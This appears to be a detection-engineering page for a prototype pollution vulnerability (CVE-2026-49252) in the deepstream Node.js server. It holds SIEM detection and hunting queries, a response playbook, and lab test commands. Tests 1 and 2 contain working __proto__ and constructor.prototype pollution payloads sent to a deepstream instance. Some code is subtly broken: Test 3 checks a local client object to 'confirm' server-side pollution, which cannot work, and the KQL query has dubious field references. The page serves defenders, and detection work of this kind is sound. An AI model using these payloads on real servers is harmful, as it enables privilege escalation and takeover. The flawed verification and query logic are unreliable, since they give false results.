CVE-2026-49252

Deepstream Server Prototype Pollution (CVE-2026-49252)

Initial Access Execution Privilege Escalation Last updated:

CVE-2026-49252 is a critical prototype pollution vulnerability (CVSS 9.9) in @deepstream/server versions prior to 10.0.5. An attacker can manipulate JavaScript object prototypes via crafted deepstream messages, potentially leading to remote code execution, privilege escalation, or denial of service. A public proof-of-concept is available.

Vulnerability Intelligence

Public PoC

Affected Software

Vendor
npm
Product
@deepstream/server
Versions
< 10.0.5

Weakness (CWE)

CWE-1321

Timeline

Disclosed
June 26, 2026

CVSS

9.9
Critical (9.0–10)
CVSS vector not yet published
Read the write-up →

What is CVE-2026-49252 Deepstream Server Prototype Pollution (CVE-2026-49252)?

Deepstream Server Prototype Pollution (CVE-2026-49252) (CVE-2026-49252) maps to the Initial Access and Execution and Privilege Escalation tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Deepstream Server Prototype Pollution (CVE-2026-49252), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Microsoft Sentinel DeviceProcessEvents, Microsoft Sentinel DeviceNetworkEvents. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution Privilege Escalation
Microsoft Sentinel / Defender
kusto 
union DeviceProcessEvents, DeviceNetworkEvents
| where TimeGenerated > ago(24h)
| where (InitiatingProcessCommandLine has "deepstream" or ProcessCommandLine has "deepstream")
    or (DeviceNetworkEvents.RemotePort in (6020, 6021) and DeviceNetworkEvents.Protocol == "TCP")
| extend SuspiciousPayload = iff(
    ProcessCommandLine has_any ("__proto__", "constructor", "prototype"),
    true, false)
| where SuspiciousPayload == true
    or InitiatingProcessCommandLine has_any ("__proto__", "constructor", "prototype")
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, RemoteIP, RemotePort, ActionType
| order by TimeGenerated desc

Detects process activity associated with deepstream server that contains prototype pollution indicators such as __proto__, constructor, or prototype key injection patterns in command-line arguments or network contexts.

critical severity medium confidence

Data Sources

Microsoft Defender for Endpoint Microsoft Sentinel DeviceProcessEvents Microsoft Sentinel DeviceNetworkEvents

Required Tables

DeviceProcessEvents DeviceNetworkEvents

False Positives

  • Legitimate deepstream administrative clients using constructor or prototype references in benign payloads
  • Automated integration tests against deepstream endpoints referencing prototype properties
  • Security scanning tools probing deepstream for vulnerability assessment

Sigma rule & cross-platform mapping

The detection logic for Deepstream Server Prototype Pollution (CVE-2026-49252) (CVE-2026-49252) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for CVE-2026-49252 Sigma rules on detection.fyi

Platform-specific guides for CVE-2026-49252

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-07-28 Research depth: standard
References (4)

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Deepstream Prototype Pollution via Crafted Message

    Expected signal: Process creation event for node with command line containing __proto__; deepstream server logs showing record set operation with anomalous key.

  2. Test 2Deepstream Constructor Prototype Chain Manipulation

    Expected signal: Network connection to deepstream HTTP proxy port; JSON payload containing constructor.prototype keys visible in network capture.

  3. Test 3Post-Exploitation: Verify Prototype Pollution Success

    Expected signal: Node.js process events showing deepstream client activity followed by stdout output confirming prototype state; heap analysis would show modified Object.prototype.

Response Playbook

Triage

  1. Identify all hosts running @deepstream/server and immediately check the installed version using `npm list @deepstream/server` or inspect package.json/package-lock.json — versions < 10.0.5 are vulnerable.
  2. Review deepstream server logs for anomalous message patterns containing __proto__, constructor, or prototype keys that may indicate exploitation attempts.
  3. Correlate network traffic on deepstream default ports (6020/6021) with client IPs; identify any unexpected or external sources connecting to the deepstream instance.
  4. Check for unexpected child processes spawned by the deepstream Node.js process, which may indicate successful code execution via prototype pollution.

Containment

  1. If exploitation is confirmed or strongly suspected, immediately isolate the affected host from the network or apply firewall rules to block inbound access to deepstream ports (6020, 6021) from untrusted sources.
  2. Update @deepstream/server to version 10.0.5 or later as the primary remediation; if immediate patching is not possible, restrict deepstream access to trusted internal clients only via network-level controls.

Evidence Collection

  1. Capture deepstream server logs from the time of the suspected exploitation window, preserving raw message logs if deepstream verbose logging is enabled.
  2. Collect Node.js process memory dump or heap snapshot if the process is still running to identify any modified prototype chains that may confirm successful exploitation.

Escalation Criteria

  • ! Escalate immediately to the incident response team if unexpected processes are observed spawning from the deepstream Node.js process, as this indicates successful remote code execution.
  • ! Escalate if prototype pollution indicators are found in logs alongside evidence of privilege escalation or lateral movement from the deepstream host.

Investigation Guide

Forensic Artifacts

  • > Node.js heap dumps showing modified Object.prototype with attacker-injected properties confirming exploitation.
  • > Deepstream server access logs showing malformed message keys containing __proto__ or constructor fields from external client IPs.
  • > System process tree showing unexpected child processes (e.g., shell commands) spawned by the deepstream node process post-exploitation.

Tuning Guidance

Reduce false positives by filtering on known-good deepstream client IPs and service accounts in your environment. Add allowlist entries for CI/CD systems and monitoring agents that legitimately connect to deepstream ports. For command-line based detections, scope to production hosts running @deepstream/server rather than developer workstations where prototype keyword usage in test scripts is common. Increase confidence to high after correlating with actual deepstream version telemetry confirming a vulnerable version is deployed.

Hunting Queries

Hunt for abnormal connection volumes to deepstream default ports that may indicate scanning, brute-force exploitation, or automated prototype pollution attack tooling targeting the server.

Hunting — KQL
kql 
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where RemotePort in (6020, 6021)
| where ActionType == "InboundConnectionAccepted"
| summarize ConnectionCount=count(), UniqueSourceIPs=dcount(RemoteIP) by DeviceName, RemotePort, bin(TimeGenerated, 1h)
| where UniqueSourceIPs > 10 or ConnectionCount > 500
| order by TimeGenerated desc
Hunting — SPL
spl 
index=* sourcetype IN ("stream:tcp", "network") dest_port IN (6020, 6021) 
| stats count AS conn_count, dc(src_ip) AS unique_src BY dest_ip, dest_port, span(1h) 
| where conn_count > 500 OR unique_src > 10 
| sort -_time

Atomic Red Team Tests

Test 1 Deepstream Prototype Pollution via Crafted Message
linux

Simulates an attacker sending a crafted deepstream message containing a __proto__ key to pollute the server-side Object prototype. Run only in an isolated lab environment against a vulnerable deepstream instance.

Command

bash 
node -e "
const { DeepstreamClient } = require('@deepstream/client');
const client = DeepstreamClient('localhost:6020');
client.login({}, (success) => {
  const record = client.record.getRecord('test/proto-pollution');
  record.set({ '__proto__': { 'polluted': true, 'isAdmin': true } });
  console.log('Prototype pollution payload sent');
  setTimeout(() => client.close(), 1000);
});
"

Cleanup

bash 
Restart the deepstream server process to clear any prototype pollution from the Node.js runtime heap.

Expected Telemetry

Process creation event for node with command line containing __proto__; deepstream server logs showing record set operation with anomalous key.

Expected Detection

KQL and SPL queries trigger on __proto__ keyword in process command line associated with deepstream client connection.

Test 2 Deepstream Constructor Prototype Chain Manipulation
linux

Attempts to pollute Object.prototype via the constructor key path in a deepstream record payload to test server-side sanitization.

Command

bash 
curl -s http://localhost:8080/deepstream-http-proxy -X POST -H 'Content-Type: application/json' -d '{"topic":"record","action":"set","recordName":"test/ctor","data":{"constructor":{"prototype":{"isCompromised":true}}}}'

Cleanup

bash 
Delete the test record from deepstream and restart the server to restore clean prototype state.

Expected Telemetry

Network connection to deepstream HTTP proxy port; JSON payload containing constructor.prototype keys visible in network capture.

Expected Detection

Network-based detection rules fire on payload containing constructor and prototype keyword combination destined for deepstream endpoints.

Test 3 Post-Exploitation: Verify Prototype Pollution Success
linux

After sending a prototype pollution payload, verifies whether the pollution succeeded by checking if the injected property is accessible on a plain object in the server context. Simulates attacker confirming exploit viability.

Command

bash 
node -e "
const { DeepstreamClient } = require('@deepstream/client');
const client = DeepstreamClient('localhost:6020');
client.login({}, () => {
  const rec = client.record.getRecord('exploit/verify');
  rec.set({ '__proto__': { 'exploited': 'CVE-2026-49252' } }, () => {
    const testObj = {};
    if (testObj.exploited === 'CVE-2026-49252') {
      console.log('PROTOTYPE POLLUTION CONFIRMED');
    } else {
      console.log('Server appears patched or pollution failed');
    }
    client.close();
  });
});
"

Cleanup

bash 
Restart the deepstream Node.js server process to flush polluted prototype from memory.

Expected Telemetry

Node.js process events showing deepstream client activity followed by stdout output confirming prototype state; heap analysis would show modified Object.prototype.

Expected Detection

Process command-line detection triggers on __proto__ keyword; post-exploitation console output PROTOTYPE POLLUTION CONFIRMED may appear in application log aggregation.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0004Privilege Escalation

Related Techniques

T1190Exploit Public-Facing ApplicationT1059.007JavaScriptT1068Exploitation for Privilege Escalation

Same Tactic: Initial Access

Popular Detections